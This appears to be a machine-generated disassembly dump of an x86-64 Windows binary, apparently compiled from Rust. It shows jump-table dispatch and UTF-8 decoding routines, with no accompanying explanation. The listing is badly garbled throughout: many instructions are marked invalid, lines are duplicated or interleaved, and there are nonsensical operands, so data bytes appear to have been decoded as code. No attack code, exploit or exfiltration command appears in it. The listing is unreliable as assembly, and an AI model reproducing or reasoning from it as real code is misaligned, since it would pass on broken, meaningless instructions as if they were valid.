add byte [rdi], cl
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
mov byte [rax + rax], cl
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
mov ch, 0x88
mov byte [rax + rax], cl
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xb
mov al, 0xb
or eax, dword [rax - 0x49]
add eax, 0xfc408d41
lea eax, [r8 - 4]
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
lea edx, [0x1400ef560]
invalid
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
lea edx, [0x1400ef560]
lea edx, [0x1400ef560]
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
and al, 0x30
jmp rcx
mov r8b, 0xc
mov al, 0xc
or al, 0x40
mov bh, 5
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
sar byte [rbx + rdx], 0xb9
adc eax, dword [rax]
add byte [rax], al
invalid
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
push rdi
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
mov byte [rax + rax], cl
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
invalid
loope case.0x14002632d.18
mov r8b, 0xd
mov al, 0xd
or eax, 0x4105b740
lea eax, [rax - 4]
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
sub byte [rax + 0x6348000c], cl
mov byte [rax + rax], cl
invalid
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
mov byte [rax + rax], cl
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
jmp rcx
mov r8b, 0xe
mov al, 0xe
invalid
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rdi], cl
ror dword [r15], 0xb6
movzx ecx, al
invalid
invalid
invalid
stc
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
xchg dword [rax + rax], ecx
xchg dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
invalid
or al, 0x8a
mov cl, byte [rax + 1]
add rcx, rdx
add ecx, edx
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xf
mov al, 0xf
cmovo esi, dword [rdi + 0x408d4105]
cld
mov dil, 5
mov bh, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
sar byte [rbx + rdx], 0xb9
adc eax, dword [rax]
add byte [rax], al
invalid
cmp al, 0x13
mov ecx, 0x13
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
retf 0xc87
invalid
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
xchg dword [rax + rax], ecx
xchg dword [rax + rax], ecx
or al, 0
add byte [rax + 0x63], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0x10
mov al, 0x10
mov dil, 5
lea eax, [r8 - 4]
cld
cld
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
add byte [rdi], cl
cmovae eax, ecx
movzx ecx, al
invalid
ror dword [r15], 0xb6
mov dh, 0xc8
enter 0xffffffffffff8d48, 0x15
wait
xchg dword [rax + rax], ecx
or al, 0
lea rdx, [0x1400ef560]
or al, 0
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
and al, 0x30
jmp rcx
loope case.0x14002632d.24
mov r8b, 0x11
mov al, 0x11
mov dil, 5
lea eax, [r8 - 4]
add eax, 0xfc408d41
movzx eax, al
cmp al, 0x13
sar byte [rbx + rdx], 0xb9
adc eax, dword [rax]
mov ecx, 0x13
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
cmovae eax, ecx
movzx ecx, al
mov dh, 0xc8
ror dword [rdi], 0xb6
mov dh, 0xc8
enter 0xffffffffffff8d48, 0x15
insb byte [rdi], dx
lea rdx, [0x1400ef560]
xchg dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
and al, 0x30
jmp rcx
mov r8b, 0x13
mov al, 0x13
mov dil, 5
lea eax, [r8 - 4]
lea eax, [rax - 4]
lea eax, [rax - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
lea edx, [0x1400ef560]
invalid
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
lea edx, [0x1400ef560]
lea edx, [0x1400ef560]
or al, 0
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
jl 0x140026e52
xor bh, bh
loope case.0x140023fa5.55
invalid
mov r8b, 0x15
mov al, 0x15
adc eax, 0x4105b740
lea eax, [rax - 4]
cld
mov dil, 5
lea eax, [r8 - 4]
cld
cld
movzx eax, al
cmp al, 0x13
adc edi, dword [rcx + 0x13]
sar byte [rbx + rdx], 0xb9
adc eax, dword [rax]
add byte [rax], al
invalid
adc edi, dword [rcx + 0x13]
add byte [rdi], cl
ror dword [r15], 0xb6
movzx ecx, al
invalid
invalid
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
adc eax, 0xc870e
adc eax, 0xc870e
invalid
xchg dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
jl 0x140026e81
xor bh, bh
loope case.0x140023efa.72
invalid
mov r8b, 0x16
mov al, 0x16
mov dil, 5
mov bh, 5
lea eax, [r8 - 4]
cld
cld
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rdi], cl
invalid
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
movzx ecx, al
lea rdx, [0x1400ef560]
invalid
xchg byte [rax + rax], cl
or al, 0
enter 0xffffffffffff8d48, 0x15
fild word [rsi + 0x6348000c]
or al, 0x8a
invalid
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov dil, 5
cmp al, 0x13
adc edi, dword [rcx + 0x13]
add eax, 0x13b9133c
adc edi, dword [rcx + 0x13]
add byte [rax], al
add byte [rdi], cl
cmovae eax, ecx
movzx ecx, al
mov dh, 0xc8
invalid
invalid
invalid
cmovae eax, ecx
movzx ecx, al
mov dh, 0xc8
mov dh, 0xc8
lea rdx, [0x1400ef560]
lea edx, [0x1400ef560]
mov edx, 0x48000c86
invalid
xchg byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov qword [rsp + 0x30], r15
jl case.0x140026d73.79
xor bh, bh
loope case.0x1400240ea.118
invalid
jmp rcx
test al, al
ror byte [rdi], 0x85
jne case.0x140026946.38
invalid
lea r12, str._nlibrary_std_src_rt.rs
xchg ebp, eax
sbb dword [rax + rax], ecx
invalid
add bl, ch
invalid
jmp 0x140026ee4
test al, al
ror byte [rdi], 0x85
cmp al, 0x27
jne case.0x140026946.38
add byte [rax], al
mov r8b, 9
mov al, 9
jmp 0x14002736a
add al, 0
add byte [rax + rax*8 + 0x272c850f], al
test al, al
invalid
test dword [rdi + riz], ebp
test al, al
jne case.0x140026946.38
add byte [rax], al
test dword [rdi + riz], ebp
add byte [rax], al
lea r12, [0x1400d71f0]
lea esp, [0x1400d71f0]
add byte [rax - 0x49], al
mov dil, 2
jmp 0x140026f0e
add ch, bl
and eax, 0x31450bb1
mov cl, 0xb
xor r13d, r13d
mov cl, 0xb
xor r13d, r13d
xor esi, esi
test al, al
je 0x140027306
invalid
add al, 0
add byte [rax], al
test byte [rax + rax*8 + 0x40e840f], 0
add cl, ch
add byte [rcx], 0
add byte [rax + rax*8 + 0x2704850f], al
test al, al
jne case.0x140026946.38
invalid
add byte [rax], al
jmp 0x14002707d
test al, al
jne case.0x140026946.38
invalid
lea r12, str._assertion_failed:_nextspec___0
lea esp, str._assertion_failed:_nextspec___0
xor edi, edi
mov esi, 1
xor r13d, r13d
add byte [rbp + 0x31], al
in eax, dx
jmp 0x1400266d1
mov dh, 0xf7
invalid
idiv edi
inc dword [rax + rax*8 + 0x26e6850f]
test al, al
invalid
test esi, esp
invalid
test al, al
jne case.0x140026946.38
test esi, esp
add byte es:[rax], al
add byte [rax], al
test esi, esp
add byte es:[rax], al
add byte [rax], al
out 0x26, al
add byte [rax], al
add byte [rcx - 0x50], al
invalid
mov r8b, 0x16
jmp 0x14002736a
test r15, r15
je case.0x140026946.38
add byte [rax], al
mov rcx, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
movzx r9d, byte [rcx]
mov dh, 9
movzx r11d, r9b
test r11b, r11b
test bl, bl
test bl, bl
js 0x1400273fa
mov al, 4
add byte [rax], al
mov r8d, 1
jmp 0x14002766d
add byte [rax], al
add byte [rax], al
test r15, r15
test edi, edi
dec dword [rdi]
test byte [rbx + 0x4c000026], ch
stosd dword [rdi], eax
add byte es:[rax], al
mov r11, qword [rsp + 0x50]
je case.0x140026946.38
stosd dword [rdi], eax
add byte es:[rax], al
mov r11, qword [rsp + 0x50]
movzx r9d, byte [r11]
movzx ecx, byte [rbx]
or eax, dword [rcx + 0xf]
mov dh, 0xc9
movzx ecx, r9b
test cl, cl
leave
js 0x140027458
add byte [rcx - 0x48], al
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add cl, ch
add eax, 0x4d000008
test r15, r15
add byte [rax], al
jmp 0x140027783
test r15, r15
dec dword [rdi]
test byte [rdx + 0x4c000026], al
invalid
invalid
je case.0x140026946.38
add byte [rbx + rcx*4 + 0x5c], cl
and al, 0x50
mov r11, qword [rsp + 0x50]
mov ebx, dword [rsp + 0x50]
movzx r9d, byte [r11]
mov dh, 0xb
movzx ecx, r9b
movzx ecx, cl
mov dh, 0xc9
test cl, cl
js 0x1400274b1
adc eax, 0x41000005
mov eax, 1
add byte [rax], al
mov r8d, 1
jmp 0x1400277ff
or byte [rax], al
add byte [rbp - 0x7b], cl
test r15, r15
invalid
test byte [rcx + 0x26], bl
invalid
test r15, r15
je case.0x140026946.38
add byte es:[rax], al
add byte [rax], al
mov r11, qword [rsp + 0x50]
pop rsp
and al, 0x50
movzx r9d, byte [r11]
movzx ecx, byte [rbx]
or eax, dword [rcx + 0xf]
mov dh, 0xc9
leave
movzx ecx, r9b
leave
test cl, cl
leave
js 0x14002750a
add eax, 0xb8410000
add dword [rax], eax
add byte [rax], al
mov r8d, 1
mov eax, 1
add byte [rax], al
add cl, ch
stosd dword [rdi], eax
or byte [rax], al
add byte [rax], al
cmp r15, 3
jmp 0x14002787b
add byte [rax], al
cmp r15, 3
jae 0x1400273bf
cmp r15, 2
inc dword [rdx]
je 0x140027563
test byte [rdi + 5], bh
add eax, 0x854d0000
add byte [rax], al
test r15, r15
test edi, edi
dec dword [rdi]
test byte [rsi + riz], bl
add byte [rax], al
je case.0x140026946.38
cmp byte [rdi], 0x7a
jne case.0x140026946.38
invalid
xor r15d, r15d
jmp 0x140027588
invalid
invalid
add byte [rax], al
invalid
invalid
mov al, byte [0x100867000]
add byte [rax + rax*8 + 0x2603850f], al
add byte [rax], al
test al, al
jne case.0x140026946.38
test dword [rbx], eax
add byte es:[rax], al
mov r8b, 7
jmp 0x14002736a
pop rsp
add eax, dword [rax]
invalid
pop rsp
add eax, dword [rax]
add byte [rax + rax*8 + 0x25f3850f], al
test al, al
jne case.0x140026946.38
invalid
invalid
add byte [rax], al
test al, al
jne case.0x140026946.38
invalid
invalid
add byte [rax], al
and eax, 0xb0410000
and eax, 0xb0410000
mov r8b, 5
add eax, 0x34ce9
jmp 0x14002736a
add r8, qword [rax]
add byte [rax], al
add byte [rcx - 0x12cebaff], dh
mov cl, 1
xor r13d, r13d
test al, al
jne 0x14002707d
push rsi
mov sil, 1
mov dh, 1
jmp 0x140027306
add byte [rax + rax*8 + 0x25d2850f], al
add byte [rax], al
test al, al
jne case.0x140026946.38
test edx, edx
and eax, 0x6b10000
invalid
mov cl, 6
mov sil, 1
mov dh, 1
mov r13d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rdi, [0x1400d70a0]
lea edi, [0x1400d70a0]
cmp eax, 0xb0057
add byte [rbx], cl
add cl, ch
mov ebp, 0x84000002
add byte [rax], al
test al, al
invalid
invalid
mov bl, 0x25
jmp 0x14002730b
add byte [rax], al
test al, al
jne case.0x140026946.38
add byte [rax], al
test dword [rbx + 0x40000025], esi
mov dh, 1
invalid
add byte [rax], al
mov sil, 1
add dword [rcx - 0x43], eax
mov r13d, 4
mov ebp, 4
add al, 0
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xb009a
or eax, dword [rax]
lea rdi, [0x1400d7100]
lea edi, [0x1400d7100]
or eax, dword [rax]
xor ecx, ecx
jmp 0x14002730b
mov sil, 1
mov dh, 1
mov cl, 3
xor r13d, r13d
in eax, dx
test al, al
ror byte [rdi], 0x84
mov dword [rdx], eax
invalid
je 0x140027306
add al, byte [rax]
add byte [rax - 0x75], cl
jl 0x1400270a5
invalid
add byte [rax], al
mov rdi, qword [rsp + 0x30]
and al, 0x30
xor byte [rdx + 2], bh
mov edx, 2
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc1
movzx eax, cl
lea rcx, [0x1400ef510]
or eax, 0xc847f
jg 0x140027013
or al, 0
add byte [rbx + riz*2 + 4], cl
or dword [rcx + 1], 0xfe894dc8
add eax, ecx
mov r14, r15
movsxd r8, dword [rcx + rax*4]
add r8, rcx
add eax, ecx
invalid
add eax, ecx
enter 0xffffffffffff894d, 0xfffffffffffffffe
mov r14, r15
mov esi, r9d
mov esi, ecx
mov rax, qword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
add byte [rbx + 0xcc248c], cl
mov ecx, dword [rsp + 0xcc]
int3
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], al
jmp r8
loopne case.0x14001bae2.149
mov sil, 1
mov dh, 1
add dword [rcx - 0x12cebaf2], esi
mov cl, 0xe
xor r13d, r13d
invalid
test al, al
je 0x140027306
test byte [rsi + 2], al
add byte [rax], al
test byte [rsi + 2], al
add byte [rax], al
jmp 0x14002707d
mov ebx, 0xb101b640
cmovne esi, dword [rcx]
xor r13d, r13d
mov sil, 1
add dword [rcx - 0x12cebaf1], esi
mov cl, 0xf
xor r13d, r13d
test al, al
je 0x140027306
xor al, 2
add byte [rax], al
ror byte [rdi], 0x84
xor al, 2
add byte [rax], al
jmp 0x14002707d
mov sil, 1
mov dh, 1
add dword [rcx - 0x12cebaf0], esi
mov cl, 0x10
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
test al, al
je 0x140027306
and al, byte [rdx]
add byte [rax], al
invalid
ror byte [rdi], 0x84
and al, byte [rdx]
add byte [rax], al
invalid
add bl, ch
jmp 0x14002707d
xchg edi, eax
test al, al
jne case.0x140026946.38
invalid
invalid
add byte [rax], al
sbb esp, dword [0xf04370f0]
and eax, 0xb0410000
mov r8b, 8
mov al, 8
or cl, ch
jmp 0x14002736a
je case.0x140026d73.45
add byte [rax], al
test al, al
jne case.0x140026946.38
test dword [rbx], ecx
and eax, 0xeb10000
mov cl, 0xe
invalid
mov sil, 1
mov dh, 1
mov r13d, 2
mov ebp, 2
add byte [rax], al
add byte [rax - 0x73], cl
lea edi, [0x1400d7160]
add byte [rax], al
lea rdi, [0x1400d7160]
lea edi, [0x1400d7160]
add byte [rbx], cl
add cl, ch
invalid
test byte [rcx], 0
or eax, dword [rax]
jmp 0x14002730b
add byte [rax - 0x4a], al
add dword [rcx - 0x12cebaef], esi
xor ebp, ebp
mov sil, 1
mov cl, 0x11
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
in eax, dx
test al, al
je 0x140027306
add dword [rax], eax
add byte [rax], al
add cl, ch
push rbx
invalid
jmp 0x14002707d
test al, al
jne case.0x140026946.38
add byte [rax], al
add byte [rax], al
mov cl, 0xe
mov sil, 1
add dword [rcx - 0x43], eax
add al, 0
invalid
mov r13d, 4
mov ebp, 4
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xb004c
add byte [rbx], r9b
add byte [rbx], cl
invalid
add byte [rax], al
lea rdi, [0x1400d7190]
add byte [rbx], cl
add cl, ch
invalid
jmp 0x14002730b
ret 1
add dword [rax], eax
add byte [rax - 0x4a], al
mov sil, 1
mov cl, 8
xor r13d, r13d
xor ebp, ebp
mov sil, 1
mov cl, 8
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
in eax, dx
test al, al
je 0x140027306
invalid
lodsd eax, dword [rsi]
add dword [rax], eax
invalid
ror byte [rdi], 0x84
test byte [rbp - 0x16ffffff], ch
lodsd eax, dword [rsi]
add dword [rax], eax
add cl, ch
add byte [rax], al
jmp 0x14002707d
invalid
invalid
inc dword [rax - 0x4a]
mov sil, 1
add dword [rcx - 0x12cebaf6], esi
mov cl, 0xa
xor r13d, r13d
xor ebp, ebp
or al, byte [rbp + 0x31]
in eax, dx
xor ebp, ebp
test al, al
je 0x140027306
add byte [rax], al
add byte [rax], al
jmp 0x14002707d
or bh, bh
invalid
invalid
inc dword [rax - 0x4a]
mov sil, 1
add dword [rcx - 0x12cebaf7], esi
mov cl, 9
xor r13d, r13d
test al, al
je 0x140027306
invalid
add dword [rcx], 0
invalid
ror byte [rdi], 0x84
add dword [rcx], 0
add cl, ch
test byte [rbx - 0x16ffffff], al
jmp 0x14002707d
cmc
invalid
invalid
test al, al
jne case.0x140026946.38
test dword [rcx + 0x24], edi
jns case.0x140075d15.153
and al, 0
add byte [rax], al
add byte [rcx + 0x1b6400e], dh
mov cl, 0xe
mov sil, 1
mov r13d, 4
lea rdi, [0x1400d7590]
or eax, dword [rax]
add byte [rax - 0x73], cl
cmp eax, 0xb03ee
or eax, dword [rax]
or eax, dword [rax]
jmp 0x14002730b
add byte [rax - 0x4a], al
add dword [rbp + 0x31], eax
xor ebp, ebp
mov sil, 1
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
xor ecx, ecx
leave
test al, al
je 0x140027306
test byte [rdi + 1], cl
add byte [rax], al
add cl, ch
sar esi, 0xff
inc dword [rax + rax*8 + 0x2445850f]
test al, al
invalid
test dword [rbp + 0x24], eax
jmp 0x14002707d
test al, al
jne case.0x140026946.38
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x50], al
invalid
mov r8b, 0xe
jmp 0x14002736a
add byte [rax], al
test al, al
jne case.0x140026946.38
and al, 0
add byte [rcx - 0x50], al
mov al, 6
add byte [rax], al
mov r8b, 6
mov al, 6
jmp 0x14002736a
mov es, word [rcx]
add byte [rax], al
invalid
add byte [rax + rax*8 + 0x2425850f], al
add byte [rax], al
test al, al
ror byte [rdi], 0x85
and eax, 0x41000024
jne case.0x140026946.38
test dword [0x181027209], esp
mov r8b, 6
mov al, 6
invalid
mov r13d, 0xc
lea rax, [0x1400d7458]
lea eax, [0x1400d7458]
mov qword [rsp + 0x30], rax
and al, 0x30
jmp 0x14002736d
add dword [rax], eax
add byte [rax - 0x4a], al
mov sil, 1
mov cl, 7
xor r13d, r13d
in eax, dx
mov sil, 1
mov dh, 1
mov cl, 7
xor r13d, r13d
in eax, dx
invalid
in eax, dx
test al, al
je 0x140027306
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add cl, ch
push 0xfffffffffffffffe
invalid
invalid
jmp 0x14002707d
invalid
inc dword [rax - 0x4a]
add dh, byte [rcx - 0x12cebaf9]
mov cl, 7
xor r13d, r13d
mov sil, 2
mov cl, 7
xor r13d, r13d
invalid
test al, al
je 0x140027306
test bl, ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x14002707d
mov sil, 1
mov cl, 0x12
xor r13d, r13d
xor ebp, ebp
adc al, byte [rbp + 0x31]
xor ebp, ebp
in eax, dx
test al, al
je 0x140027306
jmp 0x14002707d
mov sil, 1
mov cl, 5
add dword [rcx - 0x12cebafb], esi
xor r13d, r13d
test al, al
je 0x140027306
add byte [rax], al
jmp 0x14002707d
sub edi, esi
invalid
mov sil, 1
mov cl, 0xd
xor r13d, r13d
test al, al
ror byte [rdi], 0x84
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
movsb byte [rdi], byte [rsi]
add byte [rax], al
add cl, ch
invalid
jmp 0x14002707d
mov sil, 2
mov cl, 0xe
xor r13d, r13d
test al, al
je 0x140027306
jmp 0x14002707d
invalid
mov sil, 2
mov cl, 0xf
xor r13d, r13d
in eax, dx
in eax, dx
test al, al
je 0x140027306
jmp 0x14002707d
invalid
mov sil, 1
mov cl, 6
xor r13d, r13d
test al, al
invalid
je 0x140027306
sal byte [rbp + rbp*2 - 0x17], 0xdf
std
invalid
jmp 0x14002707d
test al, al
jne case.0x140026946.38
mov cl, 0xf
mov sil, 1
mov r13d, 6
lea rdi, [0x1400d7608]
cmovo esi, dword [rsi + 0x6bd4101]
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xb0350
jmp 0x14002730b
mov cl, 0xc
xor r13d, r13d
or al, 0x45
xor ebp, ebp
xor esi, esi
test al, al
je 0x140027306
jmp 0x14002707d
test al, al
jne case.0x140026946.38
mov cl, 6
mov sil, 1
mov r13d, 4
lea rdi, [0x1400d73e0]
jmp 0x14002730b
mov sil, 1
mov cl, 2
xor r13d, r13d
test al, al
je 0x140027306
jmp 0x14002707d
xchg ch, bh
invalid
mov cl, 0x13
xor r13d, r13d
xor esi, esi
test al, al
jne 0x14002707d
mov rdi, qword [rsp + 0x30]
mov edx, 2
movzx eax, cl
add byte [rdi], cl
mov dh, 0xc1
lea rcx, [0x1400ef510]
movsxd r8, dword [rcx + rax*4]
add r8, rcx
mov r14, r15
mov rax, qword [rsp + 0x138]
mov ecx, dword [rsp + 0xcc]
jmp r8
invalid
loopne 0x14002737f
mov rax, qword [rsp + 0x238]
mov eax, dword [rsp + 0x238]
jmp case.0x14002632d.1
test al, al
jne case.0x140026946.38
mov cl, 7
mov sil, 2
mov r13d, 4
mov ebp, 4
mov ebp, 4
lea rdi, [0x1400d71f8]
jmp 0x14002730b
test al, al
jne case.0x140026946.38
mov r8b, 0x13
xor r13d, r13d
mov rcx, qword [rsp + 0x50]
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov edx, 0x13
adc eax, dword [rax]
add byte [rax], al
cmovae eax, edx
movzx edx, al
lea r9, [0x1400ef560]
movsxd rdx, dword [r9 + rdx*4]
add rdx, r9
mov qword [rsp + 0x50], rcx
mov r14, r15
jmp rdx
cmp qword [rsp + 0x100], 0
je case.0x140026946.38
cmp al, 0xe
mov byte [rsp + 0x91], 1
jmp 0x14002815d
movzx ecx, word [rdi]
xor ecx, 0x3a3a
movzx edx, byte [rdi + 2]
xor edx, 0x7a
or dx, cx
je 0x1400275a3
movzx ecx, word [rdi]
cmp ecx, 0x7a3a
jne 0x140027572
cmp byte [rdi + 2], 0xbf
jle 0x14002986c
add r15, 0xfffffffffffffffe
jmp 0x14002760d
mov edx, r11d
and edx, 0x1f
movzx r10d, byte [rcx + 1]
and r10d, 0x3f
cmp r11b, 0xdf
jbe 0x1400275b9
movzx r8d, byte [rcx + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140027629
movzx r11d, byte [rcx + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and r11d, 0x3f
or r11d, r8d
or r11d, edx
cmp r11d, 0x110000
jne 0x140027632
jmp case.0x140026946.38
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r11 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400275c4
movzx r8d, byte [r11 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140027742
movzx ecx, byte [r11 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
jne 0x14002774b
jmp case.0x140026946.38
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r11 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400275d1
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r11 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400275de
add byte [rcx + 0xf], al
mov dh, 0x4b
add eax, dword [rbx - 0x1d3ef81e]
adc al, byte [rcx - 0x3f]
loopne 0x140027550
invalid
invalid
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
jne 0x140027843
add al, byte [rax]
invalid
add al, byte [rax]
add cl, ch
cmpsb byte [rsi], byte [rdi]
and byte [rax], al
add byte [rdi], cl
mov bh, 0xf
jmp case.0x140026946.38
movzx ecx, word [rdi]
cmp ecx, 0x7a3a
je 0x14002760a
cmp byte [rdi], 0x7a
jne case.0x140026946.38
jp 0x140027585
test dword [rsi - 0x7fffffe0], ecx
jg 0x14002757f
cmp byte [rdi + 1], 0xbf
mov edi, 0x22918e0f
add byte [rax], al
jle 0x140029816
dec r15
test al, al
jne case.0x140026946.38
mov rcx, qword [rsp + 0x50]
inc rcx
mov r8b, 0xf
xor r13d, r13d
jmp 0x140027372
cmp r15, 4
jb 0x1400275eb
cmp byte [rdi + 3], 0xbf
jle 0x140029880
add r15, 0xfffffffffffffffd
jmp 0x1400275ee
shl edx, 6
or edx, r10d
mov r11d, edx
jmp 0x140027632
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x14002774b
xor r15d, r15d
test al, al
jne case.0x140026946.38
mov rcx, qword [rsp + 0x50]
add rcx, 3
mov r8b, 0x11
xor r13d, r13d
jmp 0x140027372
xor r15d, r15d
test al, al
jne case.0x140026946.38
mov rcx, qword [rsp + 0x50]
add rcx, 2
mov r8b, 0x10
xor r13d, r13d
jmp 0x140027372
shl edx, 0xc
or r8d, edx
mov r11d, r8d
mov r8d, 1
cmp r11d, 0x80
jae 0x140027648
invalid
invalid
mov rcx, qword [rsp + 0x50]
jmp 0x14002766d
mov r8d, 2
cmp r11d, 0x800
add byte [rcx - 0x7f], al
sti
add byte [rax], cl
add byte [rax], al
mov rcx, qword [rsp + 0x50]
jb 0x14002766d
cmp r11d, 0x10000
mov r8d, 4
sbb r8, 0
mov rdx, r15
sub rdx, r8
jbe 0x140027681
cmp byte [rcx + r8], 0xbf
jg 0x140027687
jne 0x1400297cd
cmp r11d, 0x36
jne 0x14002773a
cmp r15, r8
je case.0x140026946.38
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x50]
movzx r10d, byte [rcx]
movzx esi, r10b
test sil, sil
js 0x1400278b6
mov r8d, 1
jmp 0x140027a38
add cl, ch
movabs al, byte [0x840fc7394d000003]
invalid
mov r14, rdx
jmp case.0x1400240ea.138
shl edx, 0xc
or r8d, edx
mov ecx, r8d
mov r8d, 1
cmp ecx, 0x80
jae 0x140027760
mov r11, qword [rsp + 0x50]
jmp 0x140027783
mov r8d, 2
cmp ecx, 0x800
mov r11, qword [rsp + 0x50]
jb 0x140027783
cmp ecx, 0x10000
stc
add byte [rax], al
add dword [rax], eax
mov r8d, 4
sbb r8, 0
add byte [rcx - 0x7d], cl
fadd dword [rax]
mov r14, r15
sub r14, r8
invalid
jbe 0x140027797
invalid
cmp byte [r11 + r8], 0xbf
jg 0x14002779d
jmp 0x1400297e6
jne 0x1400297e6
cmp ecx, 0x66
sete cl
test al, al
jne case.0x140026946.38
add byte [rax], al
add byte [rax], al
add qword [rsp + 0x50], r8
mov dil, 6
sub dil, cl
mov r8b, 1
add ecx, ebp
invalid
add eax, dword [rax]
invalid
add ecx, ebp
movabs al, byte [0x9410ce2c1000003]
or eax, edx
mov ecx, r8d
or eax, edx
mov ecx, r8d
mov r8d, 1
cmp ecx, 0x80
jae 0x1400277dc
add byte [rcx + 0x80f9], al
add byte [rbx + 7], dh
mov r11, qword [rsp + 0x50]
jmp 0x1400277ff
mov r8d, 2
cmp ecx, 0x800
mov r11, qword [rsp + 0x50]
push rax
add byte [rax], al
